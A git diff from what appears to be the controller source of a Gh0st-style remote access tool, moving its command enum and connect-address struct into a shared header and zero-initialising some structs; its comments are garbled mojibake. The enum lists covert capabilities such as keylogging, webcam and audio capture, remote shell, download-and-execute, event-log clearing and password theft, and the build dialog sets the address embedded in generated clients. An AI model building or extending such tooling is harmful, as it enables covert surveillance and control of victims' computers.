б + TOKEN_WSLIST, // б + TOKEN_DIALUPASS, // + TOKEN_SHELL_START, // Զն˿ʼ + TOKEN_SERVERLIST, // б + COMMAND_SERVICELIST, // ˢ·б + COMMAND_SERVICECONFIG, // ˷ıʶ + TOKEN_TALK_START, // ʱϢʼ + TOKEN_TALKCMPLT, // ʱϢط + TOKEN_REGEDIT = 200, // ע + COMMAND_REG_FIND, // ע ʶ + TOKEN_REG_KEY, + TOKEN_REG_PATH, + COMMAND_BYE, // ض˳ + SERVER_EXIT, // ض˳ +}; + +// ӵسϢ +typedef struct CONNECT_ADDRESS +{ + unsigned long dwFlag; + char szServerIP[_MAX_PATH]; + int iPort; +} CONNECT_ADDRESS ; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index f1704b0..a6ade11 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -61,6 +61,7 @@ WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions) true false + $(SolutionDir);%(AdditionalIncludeDirectories) Windows @@ -89,6 +90,7 @@ true Size true + $(SolutionDir);%(AdditionalIncludeDirectories) Windows @@ -134,6 +136,7 @@ + diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index df34650..cf142e3 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -13,12 +13,7 @@ IMPLEMENT_DYNAMIC(CBuildDlg, CDialog) int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize); -struct CONNECT_ADDRESS -{ - DWORD dwFlag; - char szServerIP[MAX_PATH]; - int iPort; -}g_ConnectAddress={0x1234567,"",0}; +CONNECT_ADDRESS g_ConnectAddress={ FLAG_FINDEN,"",0}; CBuildDlg::CBuildDlg(CWnd* pParent) : CDialog(CBuildDlg::IDD, pParent) diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index fcbb524..8138335 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ b/server/2015Remote/FileManagerDlg.cpp @@ -170,7 +170,7 @@ END_MESSAGE_MAP() int GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes) { - SHFILEINFO sfi; + SHFILEINFO sfi = {}; if (dwFileAttributes == INVALID_FILE_ATTRIBUTES) dwFileAttributes = FILE_ATTRIBUTE_NORMAL; else @@ -359,7 +359,7 @@ void CFileManagerDlg::FixedLocalDriveList() m_list_local.SetItemData(nItem, 1); if (lstrlen(FileSystem) == 0) { - SHFILEINFO sfi; + SHFILEINFO sfi = {}; SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); m_list_local.SetItemText(nItem, 1, sfi.szTypeName); } @@ -467,7 +467,7 @@ void CFileManagerDlg::FixedLocalFileList(CString directory) int nItem = m_list_local.InsertItem(nItemIndex++, file.GetFileName(), GetIconIndex(file.GetFileName(), GetFileAttributes(file.GetFilePath()))); m_list_local.SetItemData(nItem, file.IsDirectory()); - SHFILEINFO sfi; + SHFILEINFO sfi = {}; SHGetFileInfo(file.GetFileName(), FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); m_list_local.SetItemText(nItem, 2, sfi.szTypeName); @@ -1045,7 +1045,7 @@ void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult) void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen) { // ImageList - SHFILEINFO sfi; + SHFILEINFO sfi = {}; HIMAGELIST hImageListLarge = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_LARGEICON); HIMAGELIST hImageListSmall = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_SMALLICON); ListView_SetImageList(m_list_remote.m_hWnd, hImageListLarge, LVSIL_NORMAL); @@ -1097,7 +1097,7 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen) { nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, GetIconIndex(pszFileName, nType)); m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY); - SHFILEINFO sfi; + SHFILEINFO sfi = {}; SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); m_list_remote.SetItemText(nItem, 2, sfi.szTypeName); } diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index 61cbfbd..633ef72 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -5,6 +5,8 @@ #pragma once +#include "common/commands.h" + // ʹѹ㷨㷨Ҫclienstdafx.hƥ #define USING_COMPRESS 1 @@ -59,127 +61,6 @@ #include // Ϳؼ MFC ֧ -enum -{ - // ļ䷽ʽ - TRANSFER_MODE_NORMAL = 0x00, // һ,ػԶѾУȡ - TRANSFER_MODE_ADDITION, // ׷ - TRANSFER_MODE_ADDITION_ALL, // ȫ׷ - TRANSFER_MODE_OVERWRITE, // - TRANSFER_MODE_OVERWRITE_ALL, // ȫ - TRANSFER_MODE_JUMP, // - TRANSFER_MODE_JUMP_ALL, // ȫ - TRANSFER_MODE_CANCEL, // ȡ - - // ƶ˷ - COMMAND_ACTIVED = 0x00, // ˿Լʼ - COMMAND_LIST_DRIVE, // гĿ¼ - COMMAND_LIST_FILES, // гĿ¼еļ - COMMAND_DOWN_FILES, // ļ - COMMAND_FILE_SIZE, // ϴʱļС - COMMAND_FILE_DATA, // ϴʱļ - COMMAND_EXCEPTION, // ䷢쳣Ҫ´ - COMMAND_CONTINUE, // - COMMAND_STOP, // ֹ - COMMAND_DELETE_FILE, // ɾļ - COMMAND_DELETE_DIRECTORY, // ɾĿ¼ - COMMAND_SET_TRANSFER_MODE, // ô䷽ʽ - COMMAND_CREATE_FOLDER, // ļ - COMMAND_RENAME_FILE, // ļļ - COMMAND_OPEN_FILE_SHOW, // ʾļ - COMMAND_OPEN_FILE_HIDE, // شļ - - COMMAND_SCREEN_SPY, // Ļ鿴 - COMMAND_SCREEN_RESET, // ıĻ - COMMAND_ALGORITHM_RESET, // ı㷨 - COMMAND_SCREEN_CTRL_ALT_DEL, // Ctrl+Alt+Del - COMMAND_SCREEN_CONTROL, // Ļ - COMMAND_SCREEN_BLOCK_INPUT, // ˼ - COMMAND_SCREEN_BLANK, // ˺ - COMMAND_SCREEN_CAPTURE_LAYER, // ׽ - COMMAND_SCREEN_GET_CLIPBOARD, // ȡԶ̼ - COMMAND_SCREEN_SET_CLIPBOARD, // Զ̼ - - COMMAND_WEBCAM, // ͷ - COMMAND_WEBCAM_ENABLECOMPRESS, // ͷҪ󾭹H263ѹ - COMMAND_WEBCAM_DISABLECOMPRESS, // ͷҪԭʼģʽ - COMMAND_WEBCAM_RESIZE, // ͷֱʣINT͵Ŀ - COMMAND_NEXT, // һ(ƶѾ򿪶Ի) - - COMMAND_KEYBOARD, // ̼¼ - COMMAND_KEYBOARD_OFFLINE, // ߼̼¼ - COMMAND_KEYBOARD_CLEAR, // ̼¼ - - COMMAND_AUDIO, // - - COMMAND_SYSTEM, // ϵͳ̣.... - COMMAND_PSLIST, // б - COMMAND_WSLIST, // б - COMMAND_DIALUPASS, // - COMMAND_KILLPROCESS, // رս - COMMAND_SHELL, // cmdshell - COMMAND_SESSION, // Ựػע, жأ - COMMAND_REMOVE, // жغ - COMMAND_DOWN_EXEC, // - ִ - COMMAND_UPDATE_SERVER, // - ظ - COMMAND_CLEAN_EVENT, // - ϵͳ־ - COMMAND_OPEN_URL_HIDE, // - شҳ - COMMAND_OPEN_URL_SHOW, // - ʾҳ - COMMAND_RENAME_REMARK, // ע - COMMAND_REPLAY_HEARTBEAT, // ظ - COMMAND_SERVICES, // - COMMAND_REGEDIT, - COMMAND_TALK, // ʱϢ֤ - - // ˷ıʶ - TOKEN_AUTH = 100, // Ҫ֤ - TOKEN_HEARTBEAT, // - TOKEN_LOGIN, // ߰ - TOKEN_DRIVE_LIST, // б - TOKEN_FILE_LIST, // ļб - TOKEN_FILE_SIZE, // ļСļʱ - TOKEN_FILE_DATA, // ļ - TOKEN_TRANSFER_FINISH, // - TOKEN_DELETE_FINISH, // ɾ - TOKEN_GET_TRANSFER_MODE, // õļ䷽ʽ - TOKEN_GET_FILEDATA, // Զ̵õļ - TOKEN_CREATEFOLDER_FINISH, // ļ - TOKEN_DATA_CONTINUE, // - TOKEN_RENAME_FINISH, // - TOKEN_EXCEPTION, // 쳣 - - TOKEN_BITMAPINFO, // Ļ鿴BITMAPINFO - TOKEN_FIRSTSCREEN, // Ļ鿴ĵһͼ - TOKEN_NEXTSCREEN, // Ļ鿴һͼ - TOKEN_CLIPBOARD_TEXT, // Ļ鿴ʱͼ - - - TOKEN_WEBCAM_BITMAPINFO, // ͷBITMAPINFOHEADER - TOKEN_WEBCAM_DIB, // ͷͼ - - TOKEN_AUDIO_START, // ʼ - TOKEN_AUDIO_DATA, // - - TOKEN_KEYBOARD_START, // ̼¼ʼ - TOKEN_KEYBOARD_DATA, // ̼¼ - - TOKEN_PSLIST, // б - TOKEN_WSLIST, // б - TOKEN_DIALUPASS, // - TOKEN_SHELL_START, // Զն˿ʼ - TOKEN_SERVERLIST, // б - COMMAND_SERVICELIST, // ˢ·б - COMMAND_SERVICECONFIG, // ˷ıʶ - TOKEN_TALK_START, // ʱϢʼ - TOKEN_TALKCMPLT, // ʱϢط - TOKEN_REGEDIT = 200, // ע - COMMAND_REG_FIND, //ע ʶ - TOKEN_REG_KEY, - TOKEN_REG_PATH, - COMMAND_BYE, // ض˳ - SERVER_EXIT, // ض˳ -}; - #define WM_USERTOONLINELIST WM_USER + 3000 #define WM_OPENSCREENSPYDIALOG WM_USER + 3001